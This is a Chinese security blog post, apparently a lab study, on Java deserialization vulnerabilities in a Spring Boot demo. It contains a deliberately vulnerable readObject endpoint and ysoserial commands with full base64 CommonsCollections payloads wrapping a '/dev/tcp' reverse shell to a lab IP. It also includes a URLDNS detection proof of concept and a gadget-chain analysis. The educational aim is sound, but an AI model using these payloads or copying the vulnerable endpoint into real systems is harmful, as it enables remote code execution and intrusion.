前言
前面学习过 Java 反序列化漏洞的部分知识,总结过几篇文章:
文章 发布日期 内容概括
《渗透测试-JBoss 5.x/6.x反序列化漏洞》 2020-07-08 JBoss 反序列化漏洞 CVE-2017-12149 的简单复现,使用了 ysoserial 和 CC5 链,未分析漏洞原理和具体利用链原理……
《渗透测试-Fastjson 1.2.47 RCE漏洞复现》 2020-07-11 Fastjson 1.2.47 反序列化漏洞的简单复现,使用到了 JNDI 注入和 Java RMI 技术(做了介绍),未分析漏洞原理和漏洞利用技术……
《Apache Shiro Java反序列化漏洞复现》 2020-10-25 Apache Shiro <= 1.2.4 反序列化漏洞的简单复现与检测工具使用,使用了 ysoserial 和 CC4 链,未分析漏洞原理和具体利用链原理……
《JAVA代码审计之Shiro反序列化漏洞分析》 2021-07-24 Shiro 漏洞(上文)CVE-2016-4437 的 IDEA 调试分析,分析了 Remember Cookie 的密钥硬编码造成反序列化漏洞的过程,未分析利用链……
《CommonCollections1反序列化利用链分析》 2021-07-30 Apache Common Collections1 反序列化利用链的分析与学习,懵懵懂懂初始 java 反序列化利用链。
翻看并思考了上面几篇文章,发现身为脚本小子的自己当时对反序列化漏洞的原理和利用链的认识着实过于肤浅。
比如如何检测反序列化漏洞?为什么 Fastjson 漏洞采用 JNDI 注入传递 exp、但是 Shiro 漏洞采用 CC 链 Payload 直接打就行了?什么情况下可以使用 CC 链?这些问题基于前面的学习,尚无法给出明确的答案,于是就有了本文进一步的学习。菜就多练,没啥毛病……
反序列化思考
在进行反序列化漏洞的进一步实践之前,先来捋清楚对于反序列化漏洞一些基础且关键的认知。
漏洞代码特征
参考奇安信《网络安全 Java 代码审计实战》2.10.2 章节:
简单来说,找 readObject/readUnshared 就好了,还有其它用于解析的类库(xml、yml、json等),由于 java 一切皆对象的特性,反序列化如果处理不当都会存在问题:
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
1
2
3
4
5
比如以下代码,就存在不安全的反序列化:
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String baseStr = request.getParameter("str");
byte[] decodeStr = Base64.getDecoder().decode(baseStr);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decodeStr);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
try {
Object object = objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} finally {
objectInputStream.close();
response.getWriter().println("Unser Test");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
上面的代码,从外部获取 str 变量的值后进行 base64 解码并获得字节输入流,接着直接调用 objectInputStream.readObject() 进行反序列化,导致反序列化的对象外部可控,存在形成反序列化漏洞的风险。
但是仅仅如此还无法完全形成反序列化漏洞,以上代码仅仅是漏洞的 Source 点,要形成完整的反序列化漏洞,还需要寻找一条有效的漏洞利用链,详情请参见下一小节。
漏洞利用条件
反序列化漏洞的利用过程所需要的必要条件如下(参考《Java 代码审计入门篇》第五章 5.8.3 章节“漏洞产生的必要条件”):
消化理解一下,反序列化漏洞需要的必要条件:
触发(Source)点:即上一章节提到的,存在外部可控的反序列化输入点,如 readObject() ;
有效的利用链路:解决了触发点,还需要考虑如何构造完整的漏洞代码并传输给目标服务器,利用链称为 Gadget Chain,常见的反序列化利用链为借助 Apache Commons Collections 库构造利用代码(即前面学习过的 CC1 链),常见的生成 Java 反序列化 exp 的工具为: ysoserial。
实际上除了 Source 点和利用链,反序列化漏洞利用还需要考虑的一个问题是:执行点,即最终通过什么方式执行命令完成 RCE?
反序列化执行点 备注信息
通过反射调用 Runtime.getRuntime().exec 或 java.lang.ProcessBuilder 执行命令 Apache Commons Collections 利用链,比如 CC1 链背后原理便是巧妙借助公共类的反射机制,实现命令执行,完成 RCE,前面学习的 Apache Shiro <= 1.2.4 反序列化漏洞便可以通过此方式完成漏洞利用。
JNDI + RMI 远程调用,实现 RCE 比如前面学习过的 Fastjson 1.2.47 反序列化漏洞的利用,便是借助 JNDI + RMI 远程调用恶意 Class 来执行命令,完成 RCE。
同时注意以上利用链或执行点还需要关注目标系统所在的 Java JDK 版本环境,比如高版本的 JDK 会限制 JNDI 注入的两种远程数据访问协议:
Spring漏洞部署
为了理解反序列化漏洞的触发点,下面在 Ubuntu 虚拟机 IDEA 搭建 SpringBooot 项目,部署存在反序列化漏洞的缺陷代码。
反序列化Demo
定义一个实体类:
package com.tr0e.filterbug.entity;
import lombok.Data;
import java.io.Serializable;
@Data
public class User implements Serializable {
private int age;
private String name;
private String data;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
创建一个漏洞路由,此时前端 http 报文通过传递 Json 字符串即可正常传递 User 对象(模拟了实战中实际 SpringBoot 项目遇到的场景):
@PostMapping("/admin/unserialize/bug")
public void unSerialize(@RequestBody User user, HttpServletResponse response) throws IOException {
System.out.println(user.toString());
byte[] decodeStr = Base64.getDecoder().decode(user.getData());
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decodeStr);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
try {
Object object = objectInputStream.readObject();
response.getWriter().println(object);
} catch (ClassNotFoundException e) {
e.printStackTrace();
} finally {
objectInputStream.close();
}
response.getWriter().println("UnSerialize Test!");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
以上代码缺陷很明显,objectInputStream.readObject() 的输入流外部完全可控,符合反序列化漏洞的 Source 点特征。
URLDNS链验证
以下直接通过 URLDNS 链(原理下文再分析)来完成上述反序列化漏洞的验证,先借助 ysoserial 生成 Payload :
λ java -jar ysoserial-all.jar URLDNS "http://zywbkm.dnslog.cn" | base64 |tr -d "\n"
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//3QAEHp5d2JrbS5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly96eXdia20uZG5zbG9nLmNueA==
1
2
开源反序列化利用链工具 ysoserial:A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
发送 Payload,执行成功的话会触发 DNS 解析:
成功触发 DNS 查询,验证反序列化漏洞的存在:
CC5链反弹Shell
往 SpringBoot 项目 pom.xml 添加 CC1 链的依赖库 commons-collections 3.1:
commons-collections
commons-collections
3.1
1
2
3
4
5
IDEA 会提示存在 CVE 漏洞威胁:
然后尝试使用 CC1 链反弹 shell Payload:
/bin/bash -i >& /dev/tcp/192.168.2.11/6666 0>&1
1
注意需要对反弹 shell Payload 采用 Base64 编码:
tr0e@ubuntu:~/Downloads/Code$ java -jar ysoserial-all.jar CommonsCollections1 'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'| base64 |tr -d "\n"
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAZWJhc2ggLWMge2VjaG8sTDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekU1TWk0eE5qZ3VNaTR4TVM4Mk5qWTJJREErSmpFPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AHgAAAAFxAH4AI3NxAH4AEXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB+ADo=
tr0e@ubuntu:~/Downloads/Code$
1
2
3
Burp 发送 exp,结果发现反弹 shell 失败:
到 IDEA 查看服务器日志:
java.lang.annotation.IncompleteAnnotationException: java.lang.Override missing element entrySet
at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:81) ~[na:1.8.0_412]
at com.sun.proxy.$Proxy65.entrySet(Unknown Source) ~[na:na]
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:452) ~[na:1.8.0_412]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_412]
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_412]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_412]
at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_412]
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184) ~[na:1.8.0_412]
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322) ~[na:1.8.0_412]
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213) ~[na:1.8.0_412]
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) ~[na:1.8.0_412]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:503) ~[na:1.8.0_412]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:461) ~[na:1.8.0_412]
at com.tr0e.filterbug.controller.LoginController.unSerialize(LoginController.java:39) ~[classes/:na]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_412]
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_412]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_412]
at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_412]
at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:209) ~[spring-web-5.0.11.RELEASE.jar:5.0.11.RELEASE]
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:136) ~[spring-web-5.0.11.RELEASE.jar:5.0.11.RELEASE]
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:102) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:891) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:797) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:991) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:925) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:981) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:884) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
at javax.servlet.http.HttpServlet.service(HttpServlet.java:661) ~[tomcat-embed-core-8.5.35.jar:8.5.35]
at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:858) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
at javax.servlet.http.HttpServlet.service(HttpServlet.java:742) ~[tomcat-embed-core-8.5.35.jar:8.5.35]
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) ~[tomcat-embed-core-8.5.35.jar:8.5.35]
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-8.5.35.jar:8.5.35]
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) ~[tomcat-embed-websocket-8.5.35.jar:8.5.35]
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-8.5.35.jar:8.5.35]
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-8.5.35.jar:8.5.35]
at com.tr0e.filterbug.filter.SecurityFilter.doFilter(SecurityFilter.java:69) ~[classes/:na]
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-8.5.35.jar:8.5.35]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
产生"java.lang.Override missing element entrySet" 错误的原因是我 Ubuntu 的 Java8 JDK 版本过高了(需要低于 172 版本才能使用 CC1 链):
tr0e@ubuntu:~/Downloads/Code$ java -version
openjdk version "1.8.0_402"
OpenJDK Runtime Environment (build 1.8.0_402-8u402-ga-2ubuntu1~22.04-b06)
OpenJDK 64-Bit Server VM (build 25.402-b06, mixed mode)
tr0e@ubuntu:~/Downloads/Code$
1
2
3
4
5
使用反序列化利用链 CommonsCollections5(CC6 也可以)则可以解决这个问题:
tr0e@ubuntu:~/Downloads/Code$ java -jar ysoserial-all.jar CommonsCollections5 'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'| base64 |tr -d "\n"
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAZWJhc2ggLWMge2VjaG8sTDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekU1TWk0eE5qZ3VNaTR4TVM4Mk5qWTJJREErSmpFPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AMgAAAAFxAH4AN3NxAH4AJ3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eA==
tr0e@ubuntu:~/Downloads/Code$
1
2
3
发送生成的最终 Payload, 成功反弹 shell:
可见,Apache Commons Collections 反序列化利用链需要目标应用系统集成了存在漏洞版本的 Commons Collections 依赖库、同时 JDK 版本符合相应条件的情况下才能完成漏洞利用。
【More】BurpSuite 的一个自动检测 Java 反序列化可行利用链的插件:https://github.com/federicodotta/Java-Deserialization-Scanner,但有点年久失修了,2021 年底就开始停止更新。
URLDNS利用链
接下来返回看看前文使用到的 Java 反序列化漏洞利用链——URLDNS(ysoserial 已集成)。
URLDNS链特点
目前网上绝大部分 Java 反序列化漏洞文章都以 Commons Collections 这条利用链作为教程,这条利用链其实特别复杂,需要多种 Java 特性来配合,比如反射、动态代理、JNDI注入等等,用 Commons Collections 作为 Java 反序列化入门教程未免太过硬核。
URLDNS 链是 Java 反序列化中比较简单的一个链子,其具备以下几个突出的特点:
URLDNS 链并不能执行命令,只能发送 DNS 请求;
但是由于 URLDNS 不依赖第三方包和不限制 jdk 版本,仅靠 JDK 内置的 java.util.Hashmap 和 java.net.URL 类即可完成反序列化的过程,所以经常用于检测反序列化漏洞;
同时 URLDNS 利用链较短,有助于理解 Java 反序列化,利用链太长容易迷茫在利用链中的技术细节中。
感觉个人原来就应该先看这个简单的链再去学习 CC1 链的……
URLDNS链分析
本章节参考《JAVA反序列化之URLDNS链分析》,极力推荐,写得很好!
思考:如下代码能不能发起一个 dns 请求,为什么?
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
hashmap.put(new URL("http://xxxx.dnslog.cn"),1);
}
1
2
3
4
答案是:可以。因为 hashmap.put 中会触发 url 类中的 hashcode 方法,这个方法会调用 getHostAddress(url) 从而发起 dns 请求。
IDEA 调试分析,注意需要先设置 Debugger 能够跟进 java 原生类,否则无法跟进 HashMap:
put 方法调用了 hash 把 url 对象传了进去:
跟进 hash 后进一步跟进 hashcode:
判断类中的 hashcode 的值(其初始值=-1) 表示该类 url 第一次调用 hashcode,之后就把这个值存储起来,以备下次调用 hashcode 直接返回该值。这样设计的目的也是为了避免多次发起 dns 解析减少运算。若为 -1 则调用 handler.hashcode:
跟进 getHostAddress 函数:
以上便是 hashmap.put 中会触发 DNS 请求的原因,调用栈如下:
HashMap.put
-> HashMap.hash()
-> URL.hashCode()
-> URLStreamHandler.hashCode()
-> URLStreamHandler.getHostAddress()
-> InetAddress.getByName()
1
2
3
4
5
6
反序列化链的应用
如上 hashmap.put 会调用 URL.hashCode() 函数后发起 DNS 请求,那么 hashcode 能不能为反序列化漏洞利用过程所调用,通过反序列化触发 DNS 请求来验证反序列化漏洞呢?
答案是肯定的,hashmap 重写了 readobject,这样反序列化会切入到自己的逻辑中,且在 readobject 中调用了 key 的 hashcode 方法(以下第 36 行):
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " + loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " + mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node[] tab = (Node[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
URLDNS 链分析
但是在前面我们分析到,hashmap.put 在第一次建立 url 对象时其内部的 hashcode 为默认值 -1,在执行了 hashmap.put 之后,hashcode 就更新了,这样的话在反序列化的时候 hashcode 不为 -1,就无法发起 dns 请求。
但好在 hashcode 字段没有不可序列化的标识符,这就意味着这个成员属性是我们可控的。只需在 hashmap.put 改过之后,用反射的方法再将 url 对象的 hashcode 的值在改为 -1,就可以使得触发反序列化过程的时候,依旧能够正常发起 DNS 请求,帮助我们达到验证反序列化漏洞的目的。
直接上最终的 URLDNS 利用链代码:
public class UrlDns {
public static void main(String[] args) throws Exception {
HashMap hashmap= new HashMap<>();
URL url = new URL("http://syedx73.dnslog.cn");
hashmap.put(url,1);
// 获取URL类的hashCode字段
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
// 修改URL对象的hashCode值
hashCodeField.set(url, -1);
serialize(hashmap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException, IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
上述利用链 Gadget Chain:
HashMap.readObject()
-> HashMap.putVal()
-> HashMap.hash()
-> URL.hashCode()
-> URLStreamHandler.hashCode()
-> URLStreamHandler.getHostAddress()
-> InetAddress.getByName()
1
2
3
4
5
6
7
ysoserial生成器
ysoserial 中对于 URLDNS 链 Payload 的生成:ysoserial/payloads/URLDNS.java
public class URLDNS implements ObjectPayload